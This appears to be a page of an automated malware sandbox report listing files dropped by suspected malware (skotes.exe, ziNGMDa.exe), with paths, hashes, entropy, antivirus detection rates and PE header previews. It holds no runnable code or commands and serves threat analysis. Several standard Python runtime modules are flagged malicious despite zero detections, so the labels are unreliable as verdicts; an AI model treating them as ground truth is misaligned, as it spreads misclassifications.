Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........!J..@$..@$..@$......@$......@$......@$..._..@$..@%..@$......@$......@$......@$.Rich.@$.........PE..L......d..........................................@.................................. ......................................Z.B.n.....@.h!..................................................$....................................................... . ..@......T..................@....rsrc...h!....@......d..............@....idata ......B.....................@... ..(.. B.....................@...zdenlbin......j..\|..................@...hmrfrbxb.....p.......x..............@....taggant.0......."...\|..............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1860096
Entropy (8bit):	7.948264585998996
Encrypted:	false
SSDEEP:	24576:vOoD8YiQo+Xx/tpVwHNmBCtv+O+rFSxNBw+bZObI/GLRjBUGATYfK+XYO19ctmHD:Wo3PXx/tpaHE0MO+sNb29ljBgY3XY81
MD5:	AEA9554A885748E0394687CC80792951
SHA1:	6FE6285B185928ECE358988782074E7DDF8AC5DE
SHA-256:	1EFBB04FA466E6DBAB12CE5EDED56AD4A4FEB1C6A355ED82EBD15B4F35D51080
SHA-512:	56ACC112CF707F90EAFA2F76A7AE87BD9198FB7175CD2BE562BA3D77DA8F389E7B6441F7F4E39E58059F71842857B958E75A1C01587D71C3BAD6E0D0FF929B8F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Ug..............................J...........@..........................@J...........@.................................\@..p....0.......................A...................................................................................... . . .......B..................@....rsrc........0.......R..............@....idata .....@.......V..............@... ..*..P.......X..............@...kotpjprz......0......Z..............@...epobgbuj......J......<..............@....taggant.0....J.."...@..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1818112
Entropy (8bit):	7.942882300891732
Encrypted:	false
SSDEEP:	49152:RsJFCqqCvm5VVkiReGqna8/tTCaU5C1jpPk:1qqCvm7VkU8Z/tTCamMP
MD5:	426C4CC5CC662DBF06C9232C69E5D989
SHA1:	66EF4347C88C6F9E42F6FADCD8BC241C3EBFF11C
SHA-256:	69877DD837ED30807EB6255DD96D4031F1473A677DECB52B023E260C1D7AA851
SHA-512:	E61545A5C91201FB1A374DFA4F0265E28B0A366BA300E427F5E60D8D745AC94013086D1FB6861F41F9396D4C09C7FFF5623D7B8D30831A64B42379250BD5A1C7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(.......`i...........@...........................i.....J.....@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@... .p*...$......\|..............@...zmdmrpym. ...0O......~..............@...skpffbqx.....Pi.....................@....taggant.0...`i.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	970240
Entropy (8bit):	6.7029693788690805
Encrypted:	false
SSDEEP:	24576:rqDEvCTbMWu7rQYlBQcBiT6rprG8aCLQ:rTvC/MTQYxsWR7aC
MD5:	B3A5FCB520F185D12B7A23956D484580
SHA1:	D142512B47377FBADF7E4C6230735DCB4CFD14BA
SHA-256:	0FF962A7A36B2072E997377DCF8ACC2F94C9E47798F4D20C28B7344F7ED876F3
SHA-512:	3FB358B07F6B199ADFE50C59917081176B9F2E3F0B6F2B62BBDE6F15B0A83F3864D895842B9B24A0A27DDE76A7585A4B32E7AB1B048CC6F58AEF74AAE28B2C67
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 24%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L.....Vg..........".................w.............@..........................0............@...@.......@.....................d...\|....@...c.......................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc....c...@...d..................@..@.reloc...u.......v...X..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\SDL2.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	2227712
Entropy (8bit):	6.1101676126491045
Encrypted:	false
SSDEEP:	49152:otGVV4xwK5c4rvVO2ard4oZut2BRcfcK:f4GrBGc
MD5:	2F4A57E7A4FF7F6EE01BB07D77D89EBC
SHA1:	A03DE0DFD9C94170559097C5D15EF10E1E1AD8C7
SHA-256:	F34CD90B131CEB45B7F32D41680A13FD4B13E5F48F0D1649CBF441833105310C
SHA-512:	4633E946F6CBEA72B3DD4280BE44279565ED50C36DDD5CEF1498975A3FBDA51FD4EE5A6F54C2D249520AF3B8F4161DAA890C90DC831678B2B6C4BB1A969E91FE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...%......!..0..u.........Gk..............................".....1\"...`... .......................................!..\...."..-...`"....... ..............p".4...............................(...................\|.".x............................text...X...........................`..`.data....Y.......Z..................@....rdata..@....0......................@..@.pdata........ .....................@..@.xdata..L..... ....... .............@..@.bss....P/....!..........................edata...\....!..^...N!.............@..@.idata...-....".......!.............@....CRT....X....@".......!.............@....tls.........P".......!.............@....rsrc........`".......!.............@....reloc..4....p".......!.............@..B................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\SDL2_image.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	125440
Entropy (8bit):	6.248060009482749
Encrypted:	false
SSDEEP:	3072:6bsejIuO504fzsOM05Nmy7iGpJ7SvFisgf:6bmX0qQOhmyPs
MD5:	B8D249A5E394B4E6A954C557AF1B80E6
SHA1:	B03BB9D09447114A018110BFB91D56EF8D5EC3BB
SHA-256:	1E364AF75FEE0C83506FBDFD4D5B0E386C4E9C6A33DDBDDAC61DDB131E360194
SHA-512:	2F2E248C3963711F1A9F5D8BAEA5B8527D1DF1748CD7E33BF898A380AE748F7A65629438711FF9A5343E64762EC0B5DC478CDF19FBF7111DAC9D11A8427E0007
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...........................j.............................p.......V........ .........................................P.... ..L....P..8.......x............`.............................. @..(...................h#...............................text...............................`.P`.data...............................@.`..rdata...&.......(..................@.`@.pdata..x...........................@.0@.xdata..............................@.0@.bss..................................`..edata..P...........................@.0@.idata..L.... ......................@.0..CRT....X....0......................@.@..tls....h....@......................@.`..rsrc...8....P......................@.0..reloc.......`......................@.0B................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\SDL2_mixer.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	123904
Entropy (8bit):	6.31428829821482
Encrypted:	false
SSDEEP:	3072:GeCtxSl2NCjItkjr2tXYsxSfbWO1i9ssFo2Bm:GeCtslnsw2YsxSZ1KssFo2B
MD5:	8668D84320ACEE48BC64D080DD66A403
SHA1:	1D61D908BFA16CE80E8947100C5F3F936B579C44
SHA-256:	900EEB69B67266946F541BC6DA5460E6CB9ED4F92816A1710A84625AD123808C
SHA-512:	53A57A3619425ABEF718ABF9836E9980C42F4130AFA1D7875C4AD5BD5333A4D02D8DB8F274619E6932C2A4A8F46A8AB1C56AFF8F7AF4B2536873ECEBE13C6D93
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d..................".....V.....................g.............................................. .............................................. .......`..8....... ............p..4........................... P..(....................#...............................text....T.......V..................`.P`.data........p.......Z..............@.`..rdata...=.......>...`..............@.`@.pdata.. ...........................@.0@.xdata..L...........................@.0@.bss..................................`..edata..............................@.0@.idata....... ......................@.0..CRT....X....@......................@.@..tls....h....P......................@.`..rsrc...8....`......................@.0..reloc..4....p......................@.0B................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\SDL2_ttf.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	5.651428871159069
Encrypted:	false
SSDEEP:	768:ch6nyBqTviPRGTSJuhrLSA9JT1vZgZDAMABz1w:U6yBqeITSm9HW7F
MD5:	14E57C1868EFC1FB2E4787754E233364
SHA1:	09158212CAF3F7F18E3C5AE65EEE4F7A7796CB62
SHA-256:	507DC8A977D543B3E06BD3FCE41F5759D64B2B21AE829CD2EF41B77BF66968C4
SHA-512:	83C0C9E444888D837B95B687E127C0C82FB177A712442DC4303E9D03B837941787449804EFB8A75A3489CCBDB9165BFEC7F99773CAB819B6B14CAC19EB37752C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d..................".....P.....................q............................................. .........................................................(.......................h........................... ...(.......................p............................text....O.......P..................`.P`.data...P....`.......T..............@.P..rdata.. ....p.......V..............@.P@.pdata...............^..............@.0@.xdata...............d..............@.0@.bss....0.............................`..edata...............h..............@.0@.idata...............n..............@.0..CRT....X............z..............@.@..tls....h............\|..............@.`..rsrc...(............~..............@.0..reloc..h...........................@.0B................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\VCRUNTIME140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	97168
Entropy (8bit):	6.424686954579329
Encrypted:	false
SSDEEP:	1536:yKHLG4SsAzAvadZw+1Hcx8uIYNUzU6Ha4aecbK/zJZ0/b:yKrfZ+jPYNz6Ha4aecbK/FZK
MD5:	A87575E7CF8967E481241F13940EE4F7
SHA1:	879098B8A353A39E16C79E6479195D43CE98629E
SHA-256:	DED5ADAA94341E6C62AEA03845762591666381DCA30EB7C17261DD154121B83E
SHA-512:	E112F267AE4C9A592D0DD2A19B50187EB13E25F23DED74C2E6CCDE458BCDAEE99F4E3E0A00BAF0E3362167AE7B7FE4F96ECBCD265CC584C1C3A4D1AC316E92F0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......*..qn.."n.."n.."...#l.."g.."e.."n.."B.."<..#c.."<..#~.."<..#q.."<..#o.."<.g"o.."<..#o.."Richn.."................PE..d...Y.-a.........." .........`......p.....................................................`A.........................................B..4....J...............p..X....X...#..........h,..T............................,..8............................................text............................... ..`.rdata...@.......B..................@..@.data...@....`.......@..............@....pdata..X....p.......D..............@..@_RDATA...............P..............@..@.rsrc................R..............@..@.reloc...............V..............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\_asyncio.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	61328
Entropy (8bit):	6.02172413019717
Encrypted:	false
SSDEEP:	768:ASRkG5NWdXNC3D2zzgoAeHEQjGWqJ8O/kjOOoljTGr1IG5nepYiSyvayhI:AbG5N0XGPPvQrzifl+r1IG5nep7SyyV
MD5:	1AF12919778B622468F00DB5D8FDAED6
SHA1:	0113426B751855E7E68C18186EE0EF3363F6BCD3
SHA-256:	A7AEEE08236AAD92515D40C2BE7AA533FE434FB6B0653CAF31F774B6985B1D6C
SHA-512:	AB9F5303DE0E1E65A03C305F4DED674CBE6AC94DCCA784DFD4689D09D97BC5BD8F1DFF0FA0E782511350D63296987C77146457129F1356818B2A9D9B3CDDB147
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......V.!...O...O...O.......O.@.N...O.@.J...O.@.K...O.@.L...O..N...O...N...O...N..O..B...O..O...O.....O..M...O.Rich..O.................PE..d....y.a.........." .....R..........................................................5D....`............................................P... ...d................................... v..T............................v..8............p...............................text....Q.......R.................. ..`.rdata...I...p...J...V..............@..@.data...8...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\_bz2.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	80784
Entropy (8bit):	6.45456109441925
Encrypted:	false
SSDEEP:	1536:hwz7h8B7BjhJCZePYgl/5S8Gh2Nv0DFIGtVQ7Sygj:hwz18BrJCJglhlGINv0RIGtVQej
MD5:	BCF0D58A4C415072DAE95DB0C5CC7DB3
SHA1:	8CE298B7729C3771391A0DECD82AB4AE8028C057
SHA-256:	D7FAF016EF85FDBB6636F74FC17AFC245530B1676EC56FC2CC756FE41CD7BF5A
SHA-512:	C54D76E50F49249C4E80FC6CE03A5FDEC0A79D2FF0880C2FC57D43227A1388869E8F7C3F133EF8760441964DA0BF3FC23EF8D3C3E72CE1659D40E8912CB3E9BC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........>E.mE.mE.mL.=mO.m...lG.m#.SmF.m...lI.m...lM.m...lA.m...lF.m...lG.mE.m..m...lM.m...lD.m..QmD.m...lD.mRichE.m........PE..d....y.a.........." .........^...............................................P......S7....`.........................................@...H............0....... ..,............@......`...T...............................8............................................text...U........................... ..`.rdata...>.......@..................@..@.data...............................@....pdata..,.... ......................@..@.rsrc........0......................@..@.reloc.......@......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\_ctypes.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	119696
Entropy (8bit):	5.97015025328591
Encrypted:	false
SSDEEP:	3072:RW66GKh4hqyIVQoavMSuthSfrS04ep9x31IGQPm5S:Y6QKtkSu3SfrSGFBS
MD5:	41A9708AF86AE3EBC358E182F67B0FB2
SHA1:	ACCAB901E2746F7DA03FAB8301F81A737B6CC180
SHA-256:	0BD4ED11F2FB097F235B62EB26A00C0CB16815BBF90AB29F191AF823A9FED8CF
SHA-512:	835F9AA33FDFBB096C31F8AC9A50DB9FAC35918FC78BCE03DAE55EA917F738A41F01AEE4234A5A91FFA5BDBBD8E529399205592EB0CAE3224552C35C098B7843
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........P...1c..1c..1c..I...1c..Db..1c..Df..1c..Dg..1c..D`..1c.vDb..1c..Cg..1c..Cb..1c.VXb..1c..1b.$1c.vDn..1c.vDc..1c.vD...1c.vDa..1c.Rich.1c.........................PE..d....y.a.........." ................ [...................................................`..........................................Q.......Q..........................................T........................... ...8...............@............................text............................... ..`.rdata...k.......l..................@..@.data...T>...p...8...\..............@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\_decimal.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	250768
Entropy (8bit):	6.527857952800466
Encrypted:	false
SSDEEP:	6144:MJFPEV3nLF0eMMCtGzohEgCmUQjYK9qWMa3pLW1AtSrYB4BRWr8k:cPgXLF035tVZCRBQC06nWr8k
MD5:	D976C5F77A6370CF6F28A5714BF49AE3
SHA1:	79273EB123A68BA5CB91FF37EE0A82CEE880C2CC
SHA-256:	FE2BCCB2E204A736ED86A8D16EFFEAFE83B30B44F809349E172142665DE8458A
SHA-512:	57DF90F9FAF31F81F245A39A14C0784A3FACE4F76F00430DE8CFF2E86B55FA3269CD595119FD093E03709DEBF0888618917CAE5EA5E68F43A8E928861CAA01C5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......t!=.0@S.0@S.0@S.98..>@S.b5R.2@S.b5V.<@S.b5W.8@S.b5P.4@S..5R.3@S..2R.2@S.0@R..@S..5P.1@S..5^.?@S..5S.1@S..5..1@S..5Q.1@S.Rich0@S.................PE..d....y.a.........." .....\|...:......l...............................................-.....`..........................................T..P....T...................'..............<... ...T...............................8............................................text....{.......\|.................. ..`.rdata..............................@..@.data....)...p...$...X..............@....pdata...'.......(...\|..............@..@.rsrc...............................@..@.reloc..<...........................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\_hashlib.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	60304
Entropy (8bit):	6.093275200649072
Encrypted:	false
SSDEEP:	768:JV/wp93dN0yIITgu/w521DxBjWO/Z1bbr1IG5ItYiSyvJhKy:GNdeyIaVww1TjWMr1IG5It7Syf
MD5:	F63DA7F9A4E64148255E9D3885E7A008
SHA1:	756DC192E7B2932DF147C48F05EC5E38E9AA06E6
SHA-256:	FA0BB4BF93A6739CE5ADE6A7A69272BBC1227D09C7AFC1C027D6CEA41141BCC6
SHA-512:	23D06DEF20C3668613392A02832777B27AD5353E1DC246316043B606890445D195A1066FCA65300A5D429319AA2AE2505F9FA3A5AB0F97ABA2717B64AAA07E8D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......bGq.&&..&&..&&../^.."&..tS..$&..tS..-&..tS...&..tS..%&..S..$&...T..$&...Q..%&..&&..&..S..'&..S..'&..S..'&..S..'&..Rich&&..........................PE..d....y.a.........." .....P...~.......<...................................................`.............................................P......................................T....k..T............................k..8............`...............................text....N.......P.................. ..`.rdata...O...`...P...T..............@..@.data...H...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..T...........................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\_lzma.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	154000
Entropy (8bit):	6.8078458773005055
Encrypted:	false
SSDEEP:	3072:GD6xBrqs+vs0H0q8bnpbVZbXsAIPznfo9mNoK5vSpxpRIGe1y2:GD63rcRLCV+7wYOK50P2
MD5:	BA3797D77B4B1F3B089A73C39277B343
SHA1:	364A052731CFE40994C6FEF4C51519F7546CD0B1
SHA-256:	F904B02720B6498634FC045E3CC2A21C04505C6BE81626FE99BDB7C12CC26DC6
SHA-512:	5688AE25405AE8C5491898C678402C7A62EC966A8EC77891D9FD397805A5CFCF02D7AE8E2AA27377D65E6CE05B34A7FFDEDF3942A091741AF0D5BCE41628BF7D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........l............................................Z......3.............Z......Z......Z......Z......Rich............PE..d....y.a.........." .....^...........2....................................................`.............................................L...,...x....`.......@.......:.......p..D...H{..T............................{..8............p...............................text....].......^.................. ..`.rdata.......p.......b..............@..@.data........0......................@....pdata.......@......................@..@.rsrc........`......................@..@.reloc..D....p.......8..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\_multiprocessing.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	30608
Entropy (8bit):	6.135161247478225
Encrypted:	false
SSDEEP:	768:RgZtYyJmJxGYaAo5dU71IGRtS7YiSyvnh/:KLYzJsYXo5dU71IGRtS77SyJ
MD5:	0782334CC86B71E3F904EEAA1EF1489E
SHA1:	A3DA99365DBC73A062395DB086C6E7B6252AEB19
SHA-256:	D2B4CC8F4C5A1F366BD6A1F8E2AA6CFF2853AE07C29D9FB9D0C0DF5DFF8EBC81
SHA-512:	90E6C03B0A02385AF891431DDA91B4EF9EFF1B0EF469A0D3CE246C54B711FABB0B06947FDF0409C708FD18A1B0DF1EF56AB9953839DD63114CB422A74A15F9FB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........s... ... ... ..d ... ..!... ..!... ..!... ..!... ...!... ... ... i..!... ...!... ...!... ... ... ...!... Rich... ........PE..d....y.a.........." .........<......0.....................................................`.........................................0D..`....D..x....p.......`.......X..............`3..T............................3..8............0...............................text............................... ..`.rdata..\|....0... ..."..............@..@.data........P.......B..............@....pdata.......`.......H..............@..@.rsrc........p.......L..............@..@.reloc...............V..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\_overlapped.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	45968
Entropy (8bit):	6.177004805480751
Encrypted:	false
SSDEEP:	768:xAM30iXUtee0Vb47XTT5l8XFOPRcqdc5U3dIGstlYiSyv7vh0S:xAM3hRKcqd13dIGstl7SyD+S
MD5:	DF1D3CE615F29061CDE0F619951F4E93
SHA1:	528F48DDA6674E23C5881593BAC724A55A73E415
SHA-256:	4BB4AD9BCD89138669909EFAAF6F344AD95F31015329351C94A8D4FDBA71314C
SHA-512:	55BDB7AE01E6D5A4FCBA28A87C4A6ED49AA008CCB282F213EF83A1F3DF8BF71B18708362A8AFC7BC86401BA0F8EFF7C6511A8A50665D5E5A59FB1AEB07E2EAC2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......4.J.p.$.p.$.p.$.y...t.$.".%.r.$.".!.{.$.". .x.$.".'.s.$..%.r.$.p.%...$...%.u.$... .q.$..).q.$..$.q.$....q.$..&.q.$.Richp.$.........PE..d....y.a.........." .....>...X...... ................................................c....`.........................................0w..X....w......................................`U..T............................U..8............P...............................text...~<.......>.................. ..`.rdata..F4...P...6...B..............@..@.data................x..............@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\_queue.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	27536
Entropy (8bit):	6.261734078833693
Encrypted:	false
SSDEEP:	384:smfqkQfdUCUFYS9F6XP6rEhSSVYptTDbPdIG7UcIYiSy1pCQ7Rhp7:spdUC+y6rEhSSVYTPdIG7UNYiSyvdhp7
MD5:	E6BB918CC02CD270BAD449875577427C
SHA1:	5B22420AE4170858A6A2AA04A54ADC26B9A8051C
SHA-256:	2D8B41DAD8A8506870E6F2E2A5856C6C6C68A219F18BD88AD79C63CFA1366B1F
SHA-512:	B19353E0DF213525C466D5CB80F362AB1A22EAF9940F742B59DF1C2842E49594DB87A5119289DCA616FDFA3E808C7CEB26906E0FF8723AFC80AF768496FACA9C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......V.a....................@.......@.......@.......@..........................Z...............................Rich....................PE..d....y.a.........." .........6......................................................D!....`.........................................@C..L....C..d....p.......`.......L...............3..T...........................p3..8............0.. ............................text...*........................... ..`.rdata.......0......................@..@.data........P.......8..............@....pdata.......`.......<..............@..@.rsrc........p.......@..............@..@.reloc...............J..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\_socket.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	75152
Entropy (8bit):	6.147254943521508
Encrypted:	false
SSDEEP:	1536:z1XB7kEDATyhAZ9/s+S+pxyXc/+lf7PdIGQwP7Syr:ZXB4EDXhAZ9/sT+px8c/Sz1IGQwP9
MD5:	79C2FF05157EF4BA0A940D1C427C404E
SHA1:	17DA75D598DEAA480CDD43E282398E860763297B
SHA-256:	F3E0E2F3E70AB142E7CE1A4D551C5623A3317FB398D359E3BD8E26D21847F707
SHA-512:	F91FC9C65818E74DDC08BBE1CCEA49F5F60D6979BC27E1CDB2EF40C2C8A957BD3BE7AEA5036394ABAB52D51895290D245FD5C9F84CC3CC554597AE6F85C149E1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........w...............nk......c.......c.......c.......c......xc..........t....d......xc......xc......xc......xc......Rich....................PE..d....y.a.........." .....l.......... &.......................................P......v7....`.............................................P............0....... ..<............@..........T..............................8............................................text...Fj.......l.................. ..`.rdata..Ts.......t...p..............@..@.data...............................@....pdata..<.... ......................@..@.rsrc........0......................@..@.reloc.......@......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\_ssl.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	156560
Entropy (8bit):	5.942876418107184
Encrypted:	false
SSDEEP:	3072:RYNRsSzeOfeC1uHv8MmouyETvb8VqH70NmHh4kwooSLteSdo9dRIGt7+ig:RYjPzeOfeYMvZuyvV0Dtho9dVg
MD5:	1ED0EF72A40268E300A611BA4AB20DFD
SHA1:	4D04D5911A6ED422308EA11D7B15821AF8F62585
SHA-256:	5860FE208122219A4071CC369D5001EDC3B08C13BD96156ABD1375E35401ACD0
SHA-512:	F72EA051ED50A09561414FC41D837C03CE44BE9D8E4C39F59133DD8A092C9F13FC942C58DC8517EDC149CAA3BF7D94FA6BDBE88CABC8CB3C6A02428676572F3E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......R.D.................D.+....D./....D......D.).....+......+......+.....+.....'................(....Rich...................PE..d....y.a.........." ................l*....................................................`.............................................d............`.......P.......D.......p..8.......T...............................8...............x............................text...T........................... ..`.rdata..............................@..@.data....j.......f..................@....pdata.......P....... ..............@..@.rsrc........`.......,..............@..@.reloc..8....p.......6..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\_uuid.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	21392
Entropy (8bit):	6.271052728197517
Encrypted:	false
SSDEEP:	384:WvEaNKFDyeTxXK5DFIGewqcIYiSy1pCQIQhwv:WTNK4e9XK5DFIGewgYiSyvJhwv
MD5:	0162EDE31051183D9E23BADA8B7FD0AA
SHA1:	F4AD798660B81E9BFBBEC6E44BD5C4BFFCF5F3B2
SHA-256:	8F1C0151485055E65F174D779CFEFD2FAE601CA52F556EE3880E417EA6E43187
SHA-512:	17A5AF2CD7A9603F31BB3B796DAE13BA157886A4BC05665780FD54C1E30F1FAD76648D56E35C18E2B0C1379D1A83EC98CC97AB2DC4E968FE8D648DB3341C2201
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......z4F.>U(.>U(.>U(.7-..<U(.l ).<U(.l -.5U(.l ,.6U(.l +.=U(.. ).<U(..').;U(.>U)..U(.. .?U(.. (.?U(.. ..?U(.. *.?U(.Rich>U(.........PE..d....y.a.........." .........&...... ........................................p............`......................................... )..L...l)..x....P.......@.......4.......`..<...."..T...........................`"..8............ ..0............................text...X........................... ..`.rdata..f.... ......................@..@.data........0.......$..............@....pdata.......@.......&..............@..@.rsrc........P.......(..............@..@.reloc..<....`.......2..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\altgraph-0.17.2.dist-info\INSTALLER

Download File

